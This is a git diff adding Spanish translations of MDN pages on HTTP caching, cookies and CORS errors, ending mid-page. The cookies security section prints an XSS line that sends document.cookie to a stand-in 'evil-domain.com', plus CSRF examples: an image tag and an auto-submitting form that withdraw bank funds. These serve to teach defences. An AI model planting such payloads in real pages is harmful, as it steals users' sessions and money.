+<p>Cuando se alcanza el tiempo de caducidad de un documento almacenado en caché, se valida o se recupera nuevamente. La validación solo puede ocurrir si el servidor proporcionó un validador fuerte o un validador débil.</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>El encabezado de respuesta {{HTTPHeader("ETag")}} es un valor de agente opaco al usuario que se puede usar como un validador fuerte. Esto significa que un agente de usuario HTTP, como el navegador, no sabe qué representa esta cadena  y no puede predecir cual sería su valor. Si el encabezado de ETag fue parte de la respuesta para un recurso, el cliente puede emitir un {{HTTPHeader("If-None-Match")}} en el encabezado de futuras solicitudes, para validar el recurso almacenado en caché.</p>
+
+<p>El encabezado de respuesta {{HTTPHeader("Last-Modified")}}  puede ser usado como un validador débil. Se considera débil porque solo tiene resolución de un segundo. Si el encabezado <code>Last-Modified</code> está presente en una respuesta, entonces el cliente puede emitir un encabezado de solicitud {{HTTPHeader("If-Modified-Since")}} para validar el documento almacenado en caché.</p>
+
+<p>Cuando se realiza una solicitud de validación, el servidor puede ignorar la solicitud y la respuesta de validación con un {{HTTPStatus(200)}} <code>OK</code>, o puede devolver {{HTTPStatus(304)}} <code>Not Modified</code> (con el cuerpo vacío) para indicar al navegador que use su copia en caché. La última respuesta también puede incluir encabezados que actualizan el tiempo de caducidad del documento almacenado en caché.</p>
+
+<h2 id="Varias_respuestas">Varias respuestas</h2>
+
+<p>El encabezado de respuesta {{HTTPHeader("Vary")}} determina cómo hacer coincidir los encabezados de solicitudes futuras para decidir si se puede usar una respuesta en caché en lugar se solicitar una nueva desde el servidor de origen.</p>
+
+<p>Cuando una caché recibe una solicitud que puede ser satisfecha por una respuesta en caché que tiene un campo de encabezado <code>Vary</code>, no debe usar esa respuesta a menos que todos los campos de encabezado dominados por el encabezado <code>Vary</code> coincidan tanto en la solicitud original (en caché) como en la nueva solicitud.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>Esto puede ser útil para servir contenido dinámicamente, por ejemplo. Cuando se utiliza el encabezado <code>Vary: User-Agent</code>, los servidores de almacenamiento en caché deben considerar al agente de usuario al decidir si se debe servir la página desde la memoria caché. Si distribuye contenido diferente a los usuarios móviles, puede ayudarlo a evitar que una memoria caché sirva erróneamente una versión de escritorio de su sitio para sus usuarios móviles. Además puede ayudar a Google y a otros motores de búsqueda a descubrir la versión móvil de una página, y también puede decirles que no se pretende ningún encubrimiento.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<p>Debido a que el valor del encabezado {{HTTPHeader("User-Agent")}} es diferente ("varía") para los clientes móviles y de escritorio, los cachés no se usarán para servir contenido móvil por error a los usuarios de escritorio o viceversa.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, una herramienta para comprobar los encabezados HTTP relacionados con el caché.</li>
+</ul>
diff --git a/files/es/web/http/cookies/index.html b/files/es/web/http/cookies/index.html
new file mode 100644
index 0000000000..e5f1a46037
--- /dev/null
+++ b/files/es/web/http/cookies/index.html
@@ -0,0 +1,240 @@
+---
+title: HTTP cookies
+slug: Web/HTTP/Cookies
+tags:
+  - Almacenamiento
+  - Articulo sobre Cookies
+  - Cookies
+  - Datos
+  - Desarrollo web
+  - HTTP
+  - JavaScript
+  - Navegador
+  - Petición
+  - Protocolos
+  - Servidor
+  - privacidad
+  - seguimiento
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Una cookie HTTP, </span>cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.</p>
+
+<p>Las cookies se utilizan principalmente con tres propósitos:</p>
+
+<dl>
+ <dt>Gestión de Sesiones</dt>
+ <dd>Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar</dd>
+ <dt>Personalización</dt>
+ <dd>Preferencias de usuario, temas y otras configuraciones</dd>
+ <dt>Rastreo</dt>
+ <dd>Guardar y analizar el comportamiento del usuario</dd>
+</dl>
+
+<p>Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> y <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+
+<div class="note">
+<div class="blockIndicator warning">
+<div class="blockIndicator note">
+<p>Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el <a href="https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector">Inspector de Almacenamiento</a> en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.</p>
+</div>
+</div>
+</div>
+
+<h2 id="Creando_cookies">Creando cookies</h2>
+
+<p>Al recibir una solicitud HTTP, un servidor puede enviar un encabezado {{HTTPHeader ("Set-Cookie")}} con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP {{HTTPHeader ("Cookie")}}. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.</p>
+
+<h3 id="Los_encabezados_Set-Cookie_y_Cookie">Los encabezados <code>Set-Cookie</code> y <code>Cookie</code></h3>
+
+<p>El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:</p>
+
+<pre class="syntaxbox notranslate">Set-Cookie: &lt;nombre-cookie&gt;=&lt;valor-cookie&gt;</pre>
+
+<p>Este encabezado del servidor le dice al cliente que almacene una cookie.</p>
+
+<div class="note"><strong>Note:</strong> Aquí se explica como usar el encabezado <code>Set-Cookie</code> en varias aplicaciones del lado del servidor:
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<pre class="notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado {{HTTPHeader ("Cookie")}}.</p>
+
+<pre class="notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Cookies_de_sesión">Cookies de sesión</h3>
+
+<p>La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva <code>Expires</code> o <code>Max-Age</code> . Sin embargo, los navegadores web pueden usar la <strong>restauración de sesiones</strong>, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.</p>
+
+<h3 id="Cookies_Permanentes">Cookies Permanentes</h3>
+
+<p>En lugar de expirar cuando el cliente se cierra, las <em>cookies permanentes</em> expiran en una fecha específica (<code>Expires</code>) o tras un periodo de tiempo específico (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.</p>
+</div>
+
+<h3 id="Cookies_Secure_y_HttpOnly">Cookies <code>Secure</code> y <code>HttpOnly</code></h3>
+
+<p>Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con <code>Secure</code>, no debería almacenarse <em>nunca</em> información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (<code>http:</code>) no pueden establecer cookies con la directiva <code>Secure</code>.</p>
+
+<p>Para prevenir ataques cross-site scripting ({{Glossary("XSS")}}), las cookies <code>HttpOnly</code> son inaccesibles desde la API de Javascript {{domxref("Document.cookie")}}; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag <code>HttpOnly</code>.</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Alcance_de_las_cookies">Alcance de las cookies</h3>
+
+<p>Las directivas <code>Domain</code> y <code>Path</code> definen el alcance de la cookie: a qué URLs deberían enviarse las cookies.</p>
+
+<p><code>Domain</code> especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el <a href="/en-US/docs/Web/API/Document/location">host del Document.location actual,</a> <strong>excluyendo subdominios</strong>. Si se especifica <code>Domain</code>, los subdominios son siempre incluidos.</p>
+
+<p>Por ejemplo, si se establece <code>Domain=mozilla.org</code>, las cookies se incluyen en subdominios como <code>developer.mozilla.org</code>.</p>
+
+<p><code>Path</code> indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán.</p>
+
+<p>Por ejemplo, si se establece <code>Path=/docs</code> estas rutas coincidirán:</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>Las cookies <code>SameSite</code> permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde {{Glossary("Site")}} es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery ({{Glossary("CSRF")}}).</p>
+
+<p>Las cookies <code>SameSite</code> son relativamente nuevas y <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">soportadas por los principales navegadores</a>.</p>
+
+<p>Aquí hay un ejemplo:</p>
+
+<pre class="notranslate"><code>Set-Cookie: key=value; SameSite=Strict</code></pre>
+
+<p>El atributo same-site puede tomar uno de los dos valores (case-insensitive):</p>
+
+<dl>
+ <dt><code>Strict</code></dt>
+ <dd>Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo <code>Strict</code>.</dd>
+ <dt><code>Lax</code></dt>
+ <dd>Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.</dd>
+</dl>
+
+<p>El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.</p>
+
+<h3 id="Acceso_desde_JavaScript_usando_Document.cookie">Acceso desde JavaScript usando <code>Document.cookie</code></h3>
+
+<p>También se pueden crear nuevas cookies via JavaScript usando la propiedad {{domxref("Document.cookie")}}, y si el flag <code>HttpOnly</code> no está establecido, también se puede acceder a las cookies existentes desde JavaScript.</p>
+
+<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Tenga en cuenta las cuestiones de seguridad en la siguiente sección <a href="/en-US/docs/Web/HTTP/Cookies#Security">Seguridad</a>. Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS.</p>
+
+<h2 id="Seguridad">Seguridad</h2>
+
+<div class="note">
+<p>Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.</p>
+</div>
+
+<h3 id="Secuestro_de_session_y_XSS">Secuestro de session y XSS</h3>
+
+<p>Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad {{Glossary("XSS")}} de la aplicación.</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>El atributo cookie <code>HttpOnly</code> puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript.</p>
+
+<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> menciona buenos ejemplos para {{Glossary("CSRF")}}. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:</p>
+
+<pre class="brush: html notranslate">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petición de tipo POST, se puede disparar un evento de tipo envío de formulario (posiblemente en un iframe invisible) cuando la página se carga:</p>
+
+<pre class="notranslate">&lt;form action="https://bank.example.com/withdraw" method="POST"&gt;
+  &lt;input type="hidden" name="account" value="bob"&gt;
+  &lt;input type="hidden" name="amount" value="1000000"&gt;
+  &lt;input type="hidden" name="for" value="mallory"&gt;
+&lt;/form&gt;
+&lt;script&gt;window.addEventListener('DOMContentLoaded', (e) =&gt; { document.querySelector('form').submit(); }&lt;/script&gt;</pre>
+
+<p>Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:</p>
+
+<ul>
+ <li>Los endpoints GET no deben tener acciones de modificación, y si esto se necesita se debería requerir una petición POST. Además los endpoints POST no debería aceptar la intercambiabilidad de aceptar peticiones GET con parametros en <em>query string</em></li>
+ <li>Un token CSRF debería ser incluido en cada elemento <code>&lt;form&gt;</code> mediante un input oculto. Este token debe ser único para cada usuario y almacenado (por ejemplo, en una <em>cookie</em>). De esta forma el servidor puede mirar si el valor requerido es enviado, y en cierto modo lo idea sería descartar la petición si el valor no concuerda con lo esperado.
+  <ul>
+   <li>Este método de protección recae en la imposibilidad de que un atacante pueda predecir este token autogenerado en cada inicio de sesión. Cabe aclarar que este token debería ser regenerado en cada inicio de sesión.</li>
+  </ul>
+ </li>
+ <li>Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante.</li>
+ <li>Debería de existir siempre un requerimiento de confirmación para cualquier acción delicada,.</li>
+ <li>Las cookies empleadas en acciones delicadas deberían de tener una vida útil breve.</li>
+ <li>Para más prevención visita <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li>
+</ul>
+
+<h2 id="Tracking_and_privacy">Tracking and privacy</h2>
+
+<h3 id="Third-party_cookies">Third-party cookies</h3>
+
+<p>Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a <em>first-party cookie</em>. If the domain is different, it is said to be a <em>third-party cookie</em>. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the <a href="https://www.google.com/policies/technologies/types/">types of cookies used by Google</a>. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> by the <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>.</p>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.</p>
+
+<h3 id="EU_cookie_directive">EU cookie directive</h3>
+
+<p>Requirements for cookies across the EU are defined in <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.</p>
+
+<p>In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.</p>
+
+<p>For more, see <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">this Wikipedia section</a> and consult state laws for the latest and most accurate information.</p>
+
+<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>
+
+<p>A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsdidnotsucceed/index.html b/files/es/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..78038c007b
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,48 @@
+---
+title: 'Reason: CORS request did not succeed'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+tags:
+  - CORS
+  - CORSNoTuvoExito
+  - Consola
+  - Error
+  - HTTP
+  - HTTPS
+  - Messages
+  - Reasons
+  - Security
+  - solución de problemas
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Razón">Razón</h2>
+
+<pre class="syntaxbox">Razón: La solicitud CORS no resultó exitosa
+</pre>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>El pedido {{Glossary("HTTP")}} que hace uso de CORS falló porque la conexión HTTP falló a nivel red o protocolo. El error no está relacionado directamente con CORS, pero es un error de red fundamental de algún tipo</p>
+
+<p>En muchos casos, es causado por un complemento del navegador (Ej, un bloqueador de anuncios o un protector de privacidad) que bloquea la solicitud.</p>
+
+<p>Otras causas posibles:</p>
+
+<ul>
+ <li><span style="display: none;"> </span>Intentar acceder a un recurso <code>https</code> que tenga un certificado no válido, causará este error.</li>
+ <li>Intentar acceder a un recurso <code>http</code> desde una página con un origen <code>https</code> también causará este error.</li>
+ <li>A partir de Firefox 68, las páginas <code>https</code> no pueden acceder a <code>http://localhost</code>, aunque esto puede ser modificado por el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1488740">Error 1488740</a>.</li>
+ <li>El servidor no respondió a la solicitud actual (incluso si respondió la <a href="/es/docs/Glossary/Preflight_peticion">solicitud Preflight</a>. Un escenario podría ser un servicio HTTP en desarrollo que "entró en pánico" sin devolver ningún dato.<span style="display: none;"> </span></li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Errores CORS</a></li>
+ <li>Glosario: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introducción a CORS</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsmissingalloworigin/index.html b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html
new file mode 100644
index 0000000000..321fbd965b
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -0,0 +1,49 @@
+---
+title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing'
+slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+tags:
+  - Cabeceras
+  - Seguridad
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Motivo">Motivo</h2>
+
+<pre class="syntaxbox">Motivo: Hace falta la cabecera CORS 'Access-Control-Allow-Origin'</pre>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>A la respuesta de la solicitud {{Glossary("CORS")}} le falta la requerida cabecera {{HTTPHeader("Access-Control-Allow-Origin")}}, la cual se utiliza para determinar si el recurso puede o no ser accedido por el contenido dentro del origen actual.</p>
+
+<p>Si el servidor está bajo su control, agregue el origen del sitio solicitado al conjunto de dominios con acceso permitido agregándolo al valor de la cabecera <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Por ejemplo, para permitir a un sitio como https://amazing.site acceder al recurso usando CORS, la cabecera deberia ser:</p>
+
+<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>También puede configurar un sitio para permitirle el acceso desde cualquier otro sitio usando el comodín <code>"*"</code>. Solamente debería usar esto para APIs públicas. Las APIs privadas nunca deberían usar este comodín, en lugar de eso, se debería especificar un dominio o conjunto de dominios. Adicionalmente, el comodín solamente funciona para consultas con el atributo {{htmlattrxref("crossorigin")}}  establecido en <code>"anonymous"</code>.</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> Utilizar el comodín para permitir que todos los sitios accedan a una API privada es una mala idea.</p>
+</div>
+
+<p>Para permitir que cualquier sitio realice peticiones CORS <em>sin </em>usar el comodín <code>*</code> (por ejemplo, para activar credenciales), su servidor deberá leer el valor la cabecera <code>Origin</code> de la petición y usar dicho valor para <code>Access-Control-Allow-Origin</code> y además declarar una cabecera <code>Vary: Origin</code> para indicar que algunas cabeceras están siendo dinámicamente declaradas dependiendo del origen.</p>
+
+<p>El protocolo para administrar estas cabeceras depende de tu servidor web. Por ejemplo, en Apache, agrega una línea como la siguiente a la configuración del servidor (Con las secciones <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>,<code> &lt;Files&gt;</code> o <code>&lt;VirtualHost&gt;</code> apropiadas). La configuración, suele encontrarse en un archivo <code>.conf</code> (<code>httpd.conf</code> y <code>apache.conf</code> son nombres comunes para este tipo de archivos), o en un archivo <code>.htaccess</code>.</p>
+
+<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>Para Nginx, el comando para configurar esta cabecera es:</p>
+
+<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>"</pre>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html
new file mode 100644
index 0000000000..b27a103689
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html
@@ -0,0 +1,34 @@
+---
+title: >-
+  Reason: Credential is not supported if the CORS header
+  ‘Access-Control-Allow-Origin’ is ‘*’
+slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
+translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Reason">Reason</h2>
+
+<pre class="syntaxbox">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</pre>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>The {{Glossary("CORS")}} request was attempted with the credentials flag set, but the server is configured using the wildcard (<code>"*"</code>) as the value of {{HTTPHeader("Access-Control-Allow-Origin")}}, which doesn't allow the use of credentials.</p>
+
+<p>To correct this problem on the client side, simply ensure that the credentials flag's value is <code>false</code> when issuing your CORS request.</p>
+
+<ul>
+ <li>If the request is being issued using {{domxref("XMLHttpRequest")}}, make sure you're not setting {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} to <code>true</code>.</li>
+ <li>If using <a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, make sure {{domxref("EventSource.withCredentials")}} is <code>false</code> (it's the default value).</li>
+ <li>If using the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, make sure {{domxref("Request.credentials")}} is <code>"omit"</code>.</li>
+</ul>
+
+<p>If, instead, you need to adjust the server's behavior, you'll need to change the value of <code>Access-Control-Allow-Origin</code> to grant access to the origin from which the client is loaded.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html
new file mode 100644
index 0000000000..bde76104f7
--- /dev/null
+++ b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html
@@ -0,0 +1,27 @@
+---
+title: 'Reason: CORS preflight channel did not succeed'
+slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed
+translation_of: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Razón">Razón</h2>
+
+<pre class="syntaxbox">Razón: El canal de verifiación CORS no tuvo éxito.</pre>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>The {{Glossary("CORS")}} requiere verificación previa, la verificación previa no pudo realizarse. <span class="tlid-translation translation" lang="es"><span title="">Hay un par de razones por las cuales la verificación previa puede fallar:</span></span></p>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Se ha realizado previamente una solicitud entre sitios que realizó una verificación previa y no se permite volver a realizar la verificación previa.</span> <span title="">Asegúrese de que su código solo realice una verificación previa una vez por conexión.</span></span></li>
+ <li>La verificación previa ha sufrido alguna clase de un error de red fundamental.</li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsrequestnothttp/index.html b/files/es/web/http/cors/errors/corsrequestnothttp/index.html
new file mode 100644
index 0000000000..49d3bbb0b6
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsrequestnothttp/index.html
@@ -0,0 +1,25 @@
+---
+title: 'Reason: CORS request not HTTP'
+slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Razón">Razón</h2>
+
+<pre class="syntaxbox notranslate">Reason: CORS request not HTTP</pre>
+
+<h2 id="¿Qué_está_mal">¿Qué está mal?</h2>
+
